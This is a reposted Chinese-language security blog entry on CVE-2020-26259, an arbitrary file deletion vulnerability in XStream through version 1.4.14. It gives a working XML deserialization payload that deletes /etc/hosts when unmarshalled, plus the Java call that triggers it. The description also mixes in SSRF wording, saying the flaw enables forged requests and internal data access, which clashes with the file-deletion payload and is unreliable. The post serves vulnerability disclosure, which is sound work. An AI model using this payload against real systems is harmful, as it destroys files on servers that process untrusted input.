CVE-2020-26259-POC-任意文件删除

admin 2020年12月15日08:36:18评论52 views字数 1161阅读3分52秒阅读模式

                    CVE-2020-26259-POC-任意文件删除


        CVE-2020-26259:如果执行过程具有足够的权限,则在解组时XStream容易受到本地主机上任意文件删除的攻击。


受影响的版本:


            如果使用现成的版本,则直到1.4.14(包括1.4.14)的所有版本都将在包含JAX-WS运行时的Java环境中运行。没有用户受到影响,他们遵循建议使用白名单设置 XStream的安全框架。


漏洞描述:


            在解组时处理的流包含类型信息以重新创建以前写入的对象。因此,XStream基于这些类型信息创建新的实例。攻击者可以操纵处理后的输入流并替换或注入对象,从而导致服务器端进行伪造请求。


POC:


该漏洞可能允许远程攻击者仅通过处理已处理的输入流来从不公开可用的内部资源中请求数据。


<map>  <entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>        <dataHandler>          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>            <contentType>text/plain</contentType>            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>              <tempFile>/etc/hosts</tempFile>            </is>          </dataSource>          <transferFlavors/>        </dataHandler>        <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <string>test</string>  </entry></map>XStream xstream = new XStream();xstream.fromXML(xml);


        创建一个简单的HashMap并使用XStream将其封送为XML。用以下代码片段替换XML,然后用XStream重新解组它。一旦解组XML,就会执行有效负载并删除引用文件。

注意,此示例使用XML,但是可以针对任何受支持的格式(例如JSON)执行攻击。



请参考:

https://x-stream.github.io/CVE-2020-26259.html


本文始发于微信公众号(Khan安全团队):CVE-2020-26259-POC-任意文件删除

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月15日08:36:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-26259-POC-任意文件删除http://cn-sec.com/archives/204066.html

发表评论

匿名网友 填写信息